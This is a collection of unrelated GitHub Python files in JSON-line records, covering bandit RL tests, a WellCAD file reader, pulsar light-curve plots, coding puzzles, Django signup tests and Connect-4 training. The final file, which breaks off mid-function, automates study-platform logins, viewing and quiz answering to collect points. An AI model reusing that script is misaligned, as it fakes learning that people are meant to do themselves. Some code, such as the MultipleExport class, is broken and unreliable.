kako bismo dodali mogućnost mijenjanja okoline.\n\n print('*** 3. zadatak ***')\n\n bandits = [Bandit(10 * (random.random() - 0.5), 5 *\n random.random()) for _ in range(BANDITS_NO)]\n sys = System(bandits, stationary=False)\n CHANGE_AT = [4000, 6000, 9000]\n q, q_evol, old_bandit_mean = sys.run_system(\n eps=0.1, CHANGE_AT=CHANGE_AT)\n\n # *** 4. zadatak ***\n # Konvergencija Q vrijednosti ka srednjoj vrijednosti bandita. U ovom slučaju\n # uzimamo prethodni sistem koji je stohastičke prirode, te ćemo dobiti\n # ponašanje da Q vrijednosti pokušavaju konvergirati ka srednjoj vrijednosti.\n\n print('*** 4. zadatak ***')\n plotter = ConvergencePlot(\n q_evol=q_evol, eps=0.1, ATTEMPTS_NO=ATTEMPTS_NO)\n plotter.plot(env=sys.env, CHANGE_AT=CHANGE_AT,\n old_bandit_mean=old_bandit_mean)\n\n\ndef main() -> None:\n unittest.main()\n\n\nif __name__ == '__main__':\n print(\"Hi! I am testing these bandits!\")\n","repo_name":"usernamenenad/Reinforcement-Learning-Course","sub_path":"domaci1/src/tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4977,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42510581873","text":"import io\nimport os\n\nfrom wellcadformats.arraydata import WAF, WAI\nfrom wellcadformats.curvedata import WAW\n\nfrom wellcadformats.wa import Comments\n\n__version__ = '0.1'\n\n\nclass UnknownFormat(IOError):\n pass\n\n\ndef read(file_object, fmt=None):\n if os.path.isfile(str(file_object)):\n fmt = os.path.splitext(file_object)[1][1:]\n file_object = open(file_object, 'r')\n read_functions = {\n 'waf': WAF,\n 'wai': WAI,\n 'waw': lambda fobj: WAW(file_obj=fobj),\n 'wca': WCA\n }\n fmt = fmt.lower()\n print('fmt: {}'.format(fmt))\n print('file_object: {}'.format(file_object))\n return read_functions[fmt](file_object)\n\n\n\nclass MultipleExport(object):\n def __init__(self, path=None):\n self.datasets = []\n if not path is None:\n self.read(path)\n\n def read(filename):\n try:\n dset = formats.read(fn)\n self.datasets.append(dset)\n except formats.UnknownFormat:\n pass\n self.refresh()\n\n def readpath(path):\n fns = glob.glob(os.path.join(path, '*.w??'))\n self.readfiles(fns)\n \n def readfiles(*fns):\n for fn in fns:\n self.read(fn)\n\n def refresh(self):\n import pandas as pd\n df = pandas.DataFrame()\n for dset in self.datasets:\n if isinstance(dset, WAW):\n self.waw_datasets.append(dset)\n for i, dset in enumerate(self.waw_datasets):\n \n if not index_key in indices:\n indices[index_key] = 1\n else:\n indices[index_key] += 1\n\n\n\nclass WCA(object):\n def __init__(self, file_object):\n self.file_object = file_object\n self.reload(file_object)\n \n\n def open(self, log_name):\n for fn in self.contents.keys():\n if fn.startswith(log_name):\n return read(self.contents[fn], fmt=os.path.splitext(fn)[1][1:])\n\n def seek(self, n=0):\n for file_object in self.contents.values():\n file_object.seek(n)\n \n def reload(self, file_object):\n inner_files = {}\n current_log = None\n for i, line in enumerate(file_object):\n if line.startswith('~LOG:'):\n if current_log:\n inner_files[current_log].seek(0)\n current_log = line.split(':')[1].strip()\n inner_files[current_log] = io.StringIO()\n else:\n if current_log:\n inner_files[current_log].write(line)\n self.contents = inner_files","repo_name":"kinverarity1/wellcadformats","sub_path":"wellcadformats/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70502053853","text":"import h5py\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.integrate as integrate\nfrom scipy.integrate import simps\nfrom matplotlib import gridspec\nimport statistics\nfrom array import *\nfrom scipy.interpolate import interp1d\nfrom numpy import diagonal\n\nlight_time = \"light_time.h5\"\nperiod = 25796\n\nwith h5py.File(light_time, \"r\") as f:\n # List all groups\n print(\"Keys: %s\" % f.keys())\n LC_key = list(f.keys())[0]\n phase_key = list(f.keys())[1]\n time_key = list(f.keys())[2]\n\n # Get the data\n LC = np.array(list(f[LC_key]))\n LC = LC[:,::-1]\n phase = np.array(list(f[phase_key]))\n time = np.array(list(f[time_key]))/period\n\n#print(LC.shape, time.shape)\n\n# LC = LC[2580:,:]\n# time=time[2580:]\n\n####### getting diagonal LC ##################\nLC = LC[2580:,:]\ninit_ph = np.arange(0,1,1./52.)\nLC_int = np.empty((512,512))\nLC_diag = np.empty((len(time[2580:3437]),len(phase)))\nfor ti in range(len(time[2580:3437])):\n if ti%100 == 0:\n print('%' + str(50/67.63 + ti/len(time)) + '...')\n if ti == 3437-2600:\n print('Almost there...')\n LC_dummy = LC[ti:ti+52,:]\n for ph in range(len(phase)):\n dummy = interp1d(init_ph, LC_dummy[:,ph], fill_value=\"extrapolate\")\n LC_int[:,ph] = dummy(phase)\n LC_diag[ti] = diagonal(LC_int)\n\nLC = LC_diag.copy()\ntime=time[2580:3437]\n\n# average\n\nLC_ave = np.zeros((len(phase),))\nfor ph in range(len(phase)):\n LC_dumb = simps(LC[:,ph], x=time)/(66.62-50.0)\n LC_ave[ph] = LC_dumb\n\nnorm_const = np.max( LC_ave)\nprint(norm_const)\n\nLC_data = LC #2063\ndata_var = []\ndata_var_dummy = np.empty(512)\nfor dat in range(len(phase)):\n data_var_dummy = statistics.pstdev(LC_data[:,dat])\n data_var = np.append(data_var,data_var_dummy)\n####################LC mesh##############################\nline_a = 64.2\n\nfig,ax1 = plt.subplots(1,figsize=(4.5,10))\ngs = gridspec.GridSpec(2, 1, height_ratios=[2, 1])\nax1 = fig.add_subplot(111)\nax1 = plt.subplot(gs[1])#, sharex = ax0)\nax0 = plt.subplot(gs[0], sharex = ax1)\n\nax0.vlines(0.23, ymin=50.0, ymax=67.63, colors='red', linestyles='dashed', label='1', linewidth=1.5)\nax0.vlines(0.29, ymin=50.0, ymax=67.63, colors='red', linestyles='dashed', label='2', linewidth=1.5)\nax0.vlines(0.36, ymin=50.0, ymax=67.63, colors='red', linestyles='dashed', label='3', linewidth=1.5)\n#ax0.hlines(57, xmin=0.0, xmax=1.0, colors='white', linestyles='dashed', label='a', linewidth=1.5)\n#ax0.hlines(66.15, xmin=0.0, xmax=1.0, colors='white', linestyles='dashed', label='b', linewidth=1.5)\nax0.hlines(line_a, xmin=0.0, xmax=1.0, colors='white', linestyles='dashed', label='a', linewidth=1.5)\nax0.text(0.18, 53, '1', fontsize=15, color='red')\nax0.text(0.24, 53, '2', fontsize=15, color='red')\nax0.text(0.31, 53, '3', fontsize=15, color='red')\nax0.text(0.1, line_a+0.1, 'a', fontsize=15, color='white')\n\nim = ax0.pcolormesh(phase,time,LC,cmap='jet', vmax=0.25, vmin=0)\nax0.set_ylim(ymin=50, ymax= 66.62)\ncax = fig.add_axes([0.125, 0.89, 0.77, 0.01]) \ncbar = fig.colorbar(im, orientation='horizontal', cax = cax)\ncbar.set_ticks([0, 0.5*norm_const, norm_const, 1.5*norm_const, 2*norm_const])\ncbar.set_ticklabels([0,0.5,1,1.5,2])\ncax.xaxis.set_ticks_position('top')\nax0.set_ylabel('Time [number of periods]',fontsize=15)\n\ntime_slice = int((3437-2580)*(line_a-50)/(66.62-50)) # int(3489*56/67.67)\n\nax1.plot(phase, LC[time_slice,:], color='darkorange', label='line a', linewidth=2.0)\nax1.plot(phase, LC_ave, label='average', color='black', linewidth=1.0, linestyle='-')\nax1.set_ylim(ymin = 0.0, ymax = 0.2)\nax1.set_yticks([0.25*norm_const, 0.5*norm_const, 0.75*norm_const, norm_const, 1.25*norm_const])\nax1.set_yticklabels([0.25, 0.5, 0.75, 1.0, 1.25])\n\nax1.fill_between(phase, (LC_ave-data_var), (LC_ave+data_var), alpha=0.15, facecolor='blue', label='std deviation')\n\nax1.set_xlabel('Phase', fontsize=15)\nax1.set_ylabel('Normalized Flux',fontsize=15)\nax1.legend(loc='upper left')#, bbox_to_anchor=(-0.01, 1.02))\nax1.set_xlim(xmin = 0.0, xmax = 1.0)\nplt.subplots_adjust(hspace=0)\nplt.setp(ax0.get_xticklabels(), visible=False)\n\nplt.savefig('LCs_v3_diag-50.png', bbox_inches='tight', dpi=300)\nplt.show()","repo_name":"icandac/pulsar_intra-pulse_variability","sub_path":"LCs-mapA.py","file_name":"LCs-mapA.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30012575387","text":"\npi_digits = [3,1,4,1,5,9,2,6,5,3,5,8,9,7,9]\ndef pilish_string(txt, digit_idx = 0):\n if len(txt) == 0 or digit_idx >= len(pi_digits):\n return \"\"\n tarLen = pi_digits[digit_idx]\n if len(txt) >= tarLen:\n temp = pilish_string(txt[tarLen:], digit_idx + 1)\n if len(temp) == 0:\n return txt[:tarLen]\n else:\n return txt[:tarLen] + \" \" + temp\n else:\n return txt + txt[-1] * (tarLen - len(txt))\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"sHJmjMcZPiCsEujk6_23.py","file_name":"sHJmjMcZPiCsEujk6_23.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31263089227","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 26 10:40:35 2016\n\n@author: AbreuLastra_Work\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nimport statsmodels.formula.api as smf\n\nloansData = pd.read_csv('loansData.csv')\n\n# Droping missing observations\nloansData.dropna(inplace=True)\n\n# Cleaning the variable Interest.Rate, removing percentage point. \ncleanInterestRate = loansData['Interest.Rate'].map(lambda x: round(float(x.rstrip('%')) / 100, 4))\nloansData['Interest.Rate'] = cleanInterestRate\n\n# Setting Home.Ownership\n#loansData['Home_Ownership_ord'] = pd.Categorical(loansData['Home.Ownership']).labels\n# base case mortgate\ndummies = pd.get_dummies(loansData['Home.Ownership'],drop_first=True)\nloansData['Own_other'] = dummies['OTHER']\nloansData['Own_own'] = dummies['OWN']\nloansData['Own_rent'] = dummies['RENT']\n\nloansData['Int_inc_other'] = loansData['Own_other'] * loansData['Monthly.Income']\nloansData['Int_inc_own'] = loansData['Own_own'] * loansData['Monthly.Income']\nloansData['Int_inc_rent'] = loansData['Own_rent'] * loansData['Monthly.Income']\n\n# Setting the dependent variable \ny = loansData['Interest.Rate']\n\n# Setting different matrixes for independent variables\n\nX_1 = loansData['Monthly.Income']\nX_2 = loansData[['Monthly.Income', 'Own_other', 'Own_own', 'Own_rent']]\nX_3 = loansData[['Monthly.Income', 'Own_other', 'Own_own', 'Own_rent', 'Int_inc_other', 'Int_inc_own', 'Int_inc_rent']]\n# fit an OLS model\n\nX_1 = sm.add_constant(X_1) \nest_1 = sm.OLS(y,X_1).fit()\n\n\nprint (est_1.summary())\n\nX_2 = sm.add_constant(X_2) \nest_2 = sm.OLS(y,X_2).fit()\n\n\nprint (est_2.summary())\n\nX_3 = sm.add_constant(X_3) \nest_3 = sm.OLS(y,X_3).fit()\n\n\nprint (est_3.summary())","repo_name":"abreulastra/2_lesson_5_2","sub_path":"multivariate.py","file_name":"multivariate.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33221075670","text":"#A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99.\r\n#Find the largest palindrome made from the product of two 3-digit numbers.\r\n\r\ndef create_list(a):\r\n#function to convert integer values into list\r\n a = str(a)\r\n xyz = []\r\n for i in a:\r\n i = int(i)\r\n xyz.append(i)\r\n return xyz \r\nfor i in range(900009,998001):\r\n#iterating between the highest possible integer gotten by multiplying two 3_digit numbers and an arbitrary value.\r\n#the range between these values must contain multiple palindromic numbers\r\n\r\n x = create_list(i)\r\n if x[0] == x[5] and x[1] == x[4] and x[2]== x[3]:\r\n b = ''\r\n for i in x:\r\n b += str(i)\r\n b = int(b)\r\n c = 999\r\n while b%c != 0 and c>=100:\r\n c = c-1\r\n if b/c < 1000:\r\n print(c,b)\r\n","repo_name":"premota/mathematical-problems","sub_path":"palindromic problem.py","file_name":"palindromic problem.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38573113119","text":"#User function Template for python3\n\nclass Solution:\n def longestCommonSubstr(self, S1, S2, n, m):\n # code here\n\n dp =[[0]*(m+1) for _ in range(n+1)]\n \n for i in range(n+1):\n dp[i][0]=0\n \n for j in range(m+1):\n dp[0][j]=0\n \n maxi =0\n \n for i1 in range(1,n+1):\n for i2 in range(1,m+1):\n \n if S1[i1-1]==S2[i2-1]:\n dp[i1][i2] = 1+dp[i1-1][i2-1]\n maxi=max(maxi, dp[i1][i2])\n else:\n dp[i1][i2] =0\n \n return maxi\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__=='__main__':\n t=int(input())\n for _ in range(t):\n n,m = input().strip().split(\" \")\n n,m = int(n), int(m)\n S1 = input().strip()\n S2 = input().strip()\n \n \n ob=Solution()\n print(ob.longestCommonSubstr(S1, S2, n, m))\n# } Driver Code Ends","repo_name":"iamheavymetalx7/LeetCode-Submissions","sub_path":"Longest Common Substring - GFG/longest-common-substring.py","file_name":"longest-common-substring.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39502166487","text":"#Rock Paper Scissors game\r\n\r\nimport random\r\nimport time\r\n\r\nprint(\"Welcome to Rock Paper Scissors!\")\r\ntime.sleep(2)\r\nprint(\"\\nRules:\\n Game is best 2 out of 3\\n Type R for Rock, P for Paper, and S for Scissors\")\r\ntime.sleep(2)\r\n\r\nturns_left = 3\r\nuser_score = 0\r\ncomputer_score = 0\r\n\r\nwhile turns_left > 0 and user_score < 2 and computer_score < 2:\r\n \r\n comp_answer = random.randint(1,3)\r\n ## 1=R, 2=P, 3=S\r\n user_answer = input(\"\\nPick [R]ock, [P]aper, or [S]cissors: \")\r\n\r\n ##user wins scenarios\r\n if user_answer == \"R\" and comp_answer == 3:\r\n print(\"\\nComputer picks Scissors...Rock smashes scissors, YOU WIN!\")\r\n user_score = user_score + 1\r\n turns_left = turns_left + 1\r\n elif user_answer == \"P\" and comp_answer == 1:\r\n print(\"\\nComputer picks Rock...Paper covers Rock, YOU WIN!\")\r\n user_score = user_score + 1\r\n turns_left = turns_left + 1\r\n elif user_answer == \"S\" and comp_answer == 2:\r\n print(\"\\nComputer picks Paper...Scissors cuts Paper, YOU WIN!\")\r\n user_score = user_score + 1\r\n turns_left = turns_left + 1\r\n ##user loses scenarios\r\n elif user_answer == \"R\" and comp_answer == 2:\r\n print(\"\\nComputer picks Paper...Paper covers Rock, you lose :(\")\r\n computer_score = computer_score + 1\r\n turns_left = turns_left + 1\r\n elif user_answer == \"P\" and comp_answer == 3:\r\n print(\"\\nComputer picks Scissors...Scissors cuts Paper, you lose :(\")\r\n computer_score = computer_score + 1\r\n turns_left = turns_left + 1\r\n elif user_answer == \"S\" and comp_answer == 1:\r\n print(\"\\nComputer picks Rock...Rock smashes Scissors, you lose :(\")\r\n computer_score = computer_score + 1\r\n turns_left = turns_left + 1\r\n ##tie scenarios\r\n elif user_answer == \"R\" and comp_answer == 1:\r\n print(\"\\nComputer picks Rock, you tie...go again!\")\r\n elif user_answer == \"P\" and comp_answer == 2:\r\n print(\"\\nComputer picks Paper, you tie...go again!\")\r\n elif user_answer == \"S\" and comp_answer == 3:\r\n print(\"\\nComputer picks Scissors, you tie...go again!\")\r\n ##bad user input\r\n else:\r\n print(\"\\nPlease only type either R , P , or S to play!\")\r\n\r\nif user_score == 2:\r\n print(\"\\nCONGRATULATIONS! You win :)\")\r\n\r\nif computer_score == 2:\r\n print(\"\\nThe computer beat you :( , run the program again and give it another go!\")\r\n\r\n \r\n\r\n","repo_name":"DarthCe/python-lessons","sub_path":"rock paper scissors game.py","file_name":"rock paper scissors game.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35597195620","text":"\"\"\"Math module for semicolon.\"\"\"\r\nimport math # Used by eval() in calc()\r\nimport multiprocessing # Used because of eval() in calc()\r\nfrom array import array # Used to get the primes\r\nfrom cmds import command # Command dictionary\r\nfrom string import ascii_lowercase, ascii_uppercase, digits\r\nfrom message import Message\r\n\r\n# Fetching prime list\r\nprimesData = open('data/primes', 'rb')\r\nprimes = array('I')\r\nprimes.fromstring(primesData.read())\r\nprimesData.close()\r\n\r\n\r\n@command('calc', __name__, help='Evaluate an expression, e.g. log(sin(pi))',\r\n usage='')\r\ndef calc_command(_):\r\n \"\"\"Wrapper for the calc command.\"\"\"\r\n r = calc(_['T'])\r\n if r is None:\r\n return Message('Over capacity')\r\n else:\r\n return Message(r)\r\n\r\n\r\n@command('calcb', __name__, help='Evaluate an expression (binary output).',\r\n usage='')\r\ndef calcb_command(_):\r\n \"\"\"Wrapper for the calc command (bin).\"\"\"\r\n r = calc(_['T'])\r\n if r is None:\r\n return Message('Over capacity')\r\n else:\r\n return Message(bin(r).replace('0b', ''))\r\n\r\n\r\n@command('calco', __name__, help='Evaluate an expression (octal output).',\r\n usage='')\r\ndef calco_command(_):\r\n \"\"\"Wrapper for the calc command (oct).\"\"\"\r\n r = calc(_['T'])\r\n if r is None:\r\n return Message('Over capacity')\r\n else:\r\n return Message(oct(r).replace('0o', ''))\r\n\r\n\r\n@command('calcx', __name__, help='Evaluate an expression (hex output).',\r\n usage='')\r\ndef calcx_command(_):\r\n \"\"\"Wrapper for the calc command (hex).\"\"\"\r\n r = calc(_['T'])\r\n if r is None:\r\n return Message('Over capacity')\r\n else:\r\n return Message(hex(r).replace('0x', ''))\r\n\r\n\r\n@command('prime', __name__, help='Return the Nth prime number (up to 1e7).',\r\n usage='')\r\ndef nthprime(_):\r\n \"\"\"Return Nth prime.\"\"\"\r\n try:\r\n l = list(map(int, _['P'][1:]))\r\n if max(l) > len(primes) or min(l) < 1:\r\n return Message('Over capacity')\r\n return Message(' '.join([str(primes[n - 1]) for n in l]))\r\n except:\r\n pass\r\n\r\n\r\n@command('isprm', __name__, help='Tell if N is a prime number (up to 3e16).',\r\n usage='')\r\ndef isprim(_):\r\n \"\"\"Wrapper for isPrime function.\"\"\"\r\n try:\r\n l = list(map(int, _['P'][1:]))\r\n except:\r\n return\r\n answers = []\r\n for x in l:\r\n r = isPrime(x)\r\n s = 'Over capacity' if r is None else str(r)\r\n if r and x <= primes[-1]:\r\n i = dicho(x, primes)\r\n pref = 'th'\r\n if i % 10 < 3 and (i // 10 % 10 != 1):\r\n pref = ('st', 'nd', 'rd')[i % 10]\r\n s += ' (' + str(i + 1) + pref + ')'\r\n answers.append(s)\r\n return Message(' '.join(answers))\r\n\r\n\r\n@command('factor', __name__, help='Factor an integer into primes.',\r\n usage='')\r\ndef factorize(_):\r\n \"\"\"Wrapper for factor function.\"\"\"\r\n try:\r\n n = int(_['T'])\r\n except:\r\n pass\r\n l = factor(n) if _['rank'] else factor(n, 1e4)\r\n u = {}\r\n for x in l:\r\n if x not in u.keys():\r\n u[x] = 0\r\n u[x] += 1\r\n f = ' * '.join([str(x) + '^' + str(u[x]) for x in u.keys()]) + ' '\r\n return Message(str(n) + ' = ' + f.replace('^1 ', ' ')[:-1])\r\n\r\n\r\ndef calc(s):\r\n \"\"\"Evaluate the mathematical expression contained in a string.\"\"\"\r\n # (a)cos/sin/tan(h) atan2 degrees radoa,s\r\n # exp log log2 log10 factorial sqrt e pi floor int\r\n allowedMath = ['acos', 'acosh', 'asin', 'asinh', 'atan', 'atan2', 'atanh',\r\n 'cos', 'cosh', 'degrees', 'exp', 'factorial', 'floor',\r\n 'log', 'log2', 'log10', 'radians', 'sin', 'sinh', 'sqrt',\r\n 'tan', 'tanh', 'e', 'pi']\r\n s = s.lower()\r\n s = s.replace('^', '**')\r\n s = s.replace('int(', 'floor(')\r\n s = s.replace('π', 'pi')\r\n r, i = '', 0\r\n math.pi # dummy statement to avoid F401 (flake8)\r\n while i < len(s):\r\n c = s[i]\r\n # Supports binary (0b), octal (0o) and hexadecimal (0x)\r\n if c in ascii_lowercase and c not in 'obxacdef':\r\n func, j = c, i + 1\r\n while j < len(s) and s[j] in ascii_lowercase + digits:\r\n func += s[j]\r\n j += 1\r\n if func in allowedMath:\r\n r += 'math.' + func\r\n i = j - 1\r\n elif c not in (ascii_uppercase + '_'):\r\n r += c\r\n i += 1\r\n\r\n def calculator(expr, output):\r\n \"\"\"Append eval(expr) to list.\"\"\"\r\n try:\r\n result = eval(expr)\r\n except:\r\n result = 'ERR'\r\n output.put(result)\r\n\r\n q = multiprocessing.Queue()\r\n ev = multiprocessing.Process(target=calculator, args=(r, q))\r\n ev.start()\r\n ev.join(2)\r\n if ev.is_alive():\r\n ev.terminate()\r\n ev.join()\r\n return None\r\n else:\r\n result = q.get()\r\n if result != 'ERR':\r\n return result\r\n\r\n\r\ndef factor(n, mx=len(primes)):\r\n \"\"\"Return the prime factors of n, up to P(mx).\"\"\"\r\n if not n:\r\n return [0]\r\n l = []\r\n for p in primes[:mx]:\r\n while n % p == 0:\r\n l.append(p)\r\n n //= p\r\n if n in primes:\r\n return l + [n]\r\n if n <= primes[mx - 1] ** 2:\r\n return l + [n]\r\n return ['Over capacity']\r\n\r\n\r\ndef isPrime(n):\r\n \"\"\"Tell if n is a prime number. Return None if over capacity.\"\"\"\r\n if n in primes:\r\n return True\r\n for p in primes:\r\n if n % p == 0:\r\n return False\r\n if n > primes[-1] ** 2:\r\n return None\r\n return True\r\n\r\n\r\ndef dicho(x, l):\r\n \"\"\"Return the index of x in a sorted list, assuming x is present once.\"\"\"\r\n a, b = 0, len(l)\r\n while l[a] != x and l[b] != x:\r\n m = (a + b) // 2\r\n n = l[m]\r\n if x < n:\r\n b = m\r\n elif x > n:\r\n a = m\r\n else:\r\n return m\r\n return a if l[a] == x else b\r\n","repo_name":"Zeroji/semicold","sub_path":"math_.py","file_name":"math_.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27935322507","text":"\"\"\" Tests for signup page. \"\"\"\n\nimport json\nimport logging\nfrom mock import patch, Mock\nfrom django.test import TestCase, Client\nfrom utils.exception import AppMessage\nfrom utils.data import SIGNUP_DATA\nfrom custom_user.views.views_accounts import UserSignup\nfrom custom_user.models import CustomUser\nfrom unittest.mock import MagicMock\nfrom django.http import HttpRequest\n\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass TestSignup(TestCase):\n \"\"\" Unit test cases for signup page. \"\"\"\n\n def setUp(self):\n \"\"\"Test cases setUp for class TestSignup. \"\"\"\n\n self.client = Client()\n self.url = '/accounts/signup/'\n self.payload = SIGNUP_DATA\n\n self.request = HttpRequest()\n\n def tearDown(self):\n CustomUser.objects.all().delete()\n\n def test_signup_without_ajax_call(self):\n \"\"\"Tests if submit form without ajax call. \"\"\"\n\n request = self.client.post(self.url, {})\n response = json.loads(request.content.decode())\n assert response['result'] is False\n assert response['message'] == AppMessage.error['INVALID_REQUEST']\n\n def test_signup_with_invalid_email(self):\n \"\"\"Tests signup page with email is invalid. \"\"\"\n self.payload['email'] = ''\n request = self.client.post(self.url, self.payload,\n HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n response = json.loads(request.content.decode())\n assert response['result'] is False\n assert response['email'][0] == 'This field is required.'\n\n @patch('utils.common.Email.go_email')\n def test_mock_email_for_user_signup(self, mock_email):\n \"\"\"Mocks email function when registering a user. \"\"\"\n self.request.__setattr__('HTTP_X_REQUESTED_WITH', 'XMLHttpRequest')\n self.request.__setattr__('method', 'POST')\n self.request.is_ajax = MagicMock(return_value=True)\n self.request.POST.update(self.payload)\n\n # view\n view = UserSignup()\n view.request = self.request\n mock_email.return_value = True\n response = view.post(self.request)\n content = json.loads(response.content.decode())\n\n assert response.status_code == 201\n assert content['result'] is True\n assert content['message'] == AppMessage.success['SIGNUP_SUCCESS']\n","repo_name":"atanudey/faradayfinder","sub_path":"tests/unit_tests/test_signup.py","file_name":"test_signup.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42972769423","text":"import numpy as np\nimport random, sys\n\ndef playTrainingGames(n, game, model, opponent, discountFactor=0.9, exploit=1):\n '''\n Plays n games between model and opponent. \\n\n Returns the data of all the games which can be used for training. \\n \n \n exploit -- The chance of selecting chosen move (complement of selecting random move)\n '''\n\n # Each move in each game adds an element to these arrays\n states = [] # A state\n actions = [] # Index of action made from state\n sPrimes = [] # The resultant state of each state-action pair \n qValues = [] # These are discarded after network is trained once\n\n # One element per game is added to this array\n winners = []\n\n for k in range(n):\n\n while True:\n if game.turn == 1:\n\n move = game.getMove(model, exploit)\n winner = game.move(move[\"move\"])\n\n # Add state-action pair to memory\n states.append(move[\"state\"])\n actions.append(move[\"move\"])\n\n # Add qValue for next move to memory\n if game.turnNum > 1:\n qValues.append(\n move[\"qValue\"] * discountFactor\n )\n\n # Append the resultant state from the previous move\n sPrimes.append(move[\"state\"])\n \n else:\n winner = opponent.playMove()\n\n if winner != None:\n if winner == 1:\n qValues.append(np.array([1]))\n sPrimes.append(1)\n # winMoves += [1]*(len(saPairs)-len(winMoves))\n else:\n qValues.append(np.array([0]))\n sPrimes.append(0)\n # winMoves += [0]*(len(saPairs)-len(winMoves))\n break\n\n winners.append(winner)\n\n\n # sys.exit()\n\n # game.printGame()\n # print(\"winner #{}: {}\".format(k, winner))\n print(\"Game #{}/{}\".format(k+1,n), end='\\r')\n\n game.resetGame()\n\n return {\n \"states\": np.array(states),\n \"actions\": np.array(actions),\n \"sPrimes\": np.array(sPrimes),\n \"qValues\": np.array(qValues),\n # \"winMoves\": np.array(winMoves), # The predicted values for winning by playing each move\n \"winners\": winners\n }\n","repo_name":"mattyhempstead/tensorflow-experiments","sub_path":"connect4/v5/playTrainingGames.py","file_name":"playTrainingGames.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37741682543","text":"import math\nimport os\nimport sys\nimport time\nfrom sys import argv\n\nfrom pdlearn import boot\n\nboot.check_environment()\ntry:\n # 在此处导入所有 pdlearn 内的模块\n from pdlearn import globalvar as gl\n from pdlearn import color, score, threads, user, version\n from pdlearn.answer_question import daily, weekly, zhuanxiang\n from pdlearn.article_video import article, video\n from pdlearn.config import cfg_get\n from pdlearn.mydriver import Mydriver\n from pdlearn.score import show_score, show_scorePush\nexcept ImportError as e:\n boot.try_pip_install(exception=e)\n\n\ndef get_argv():\n if gl.is_init != True:\n gl.init_global()\n if len(argv) > 2:\n if argv[2] == \"hidden\":\n gl.nohead = True\n elif argv[2] == \"show\":\n gl.nohead = False\n if len(argv) > 3:\n if argv[3] == \"single\":\n gl.lock = True\n elif argv[3] == \"multithread\":\n gl.lock = False\n if len(argv) > 4:\n if argv[4].isdigit():\n gl.stime = argv[4]\n return gl.nohead, gl.lock, gl.stime, gl.single\n\n\ndef start_learn(uid, name):\n # 0 读取版本信息\n start_time = time.time()\n nohead, lock, stime, Single = get_argv()\n print(\"是否无头模式:{0} {1}\".format(nohead, os.getenv('Nohead')))\n cookies = user.get_cookie(uid)\n if nohead == True:\n TechXueXi_mode = \"3\"\n else:\n TechXueXi_mode = str(cfg_get(\"base.ModeType\", 3))\n print(\"当前选择模式:\" + TechXueXi_mode + \"\\n\" + \"=\" * 60)\n\n if not name:\n user_fullname = user.get_fullname(uid)\n name = user_fullname.split('_', 1)[1]\n else:\n user_fullname = uid+\"_\"+name\n\n if not cookies or TechXueXi_mode == \"0\":\n msg = \"\"\n if name == \"新用户\":\n msg = \"需要增加新用户,请扫码登录,否则请无视\"\n else:\n msg = name+\" 登录信息失效,请重新扫码\"\n # print(msg)\n gl.pushprint(msg, chat_id=uid)\n if gl.pushmode == \"6\":\n gl.pushprint(\"web模式跳过自动获取二维码,请手动点击添加按钮\", chat_id=uid)\n print(color.red(\"【#️⃣】 若直接退出请运行:webserverListener.py\"))\n return\n driver_login = Mydriver()\n cookies = driver_login.login()\n driver_login.quit()\n # cookies = login()\n if not cookies:\n print(\"登录超时\")\n return\n user.save_cookies(cookies)\n uid = user.get_userId(cookies)\n user_fullname = user.get_fullname(uid)\n name = user_fullname.split('_', 1)[1]\n user.update_last_user(uid)\n output = name + \" 登录正常,开始学习...\\n\"\n\n article_index = user.get_article_index(uid)\n video_index = 1 # user.get_video_index(uid)\n\n total, scores = show_score(cookies)\n gl.pushprint(output, chat_id=uid)\n if TechXueXi_mode in [\"1\", \"3\"]:\n\n article_thread = threads.MyThread(\n \"文章学 xi \", article, uid, cookies, article_index, scores, lock=lock)\n video_thread = threads.MyThread(\n \"视频学 xi \", video, uid, cookies, video_index, scores, lock=lock)\n article_thread.start()\n video_thread.start()\n article_thread.join()\n video_thread.join()\n if TechXueXi_mode in [\"2\", \"3\"]:\n# print('开始每日答题……')\n# daily(cookies, scores)\n print('开始每周答题……')\n weekly(cookies, scores)\n if nohead != True or gl.zhuanxiang == True:\n print('开始专项答题……')\n zhuanxiang(cookies, scores)\n\n if TechXueXi_mode == \"4\":\n user.select_user()\n if TechXueXi_mode == \"5\":\n user.refresh_all_cookies(display_score=True)\n if TechXueXi_mode == \"6\":\n user.refresh_all_cookies(live_time=11.90)\n\n seconds_used = int(time.time() - start_time)\n 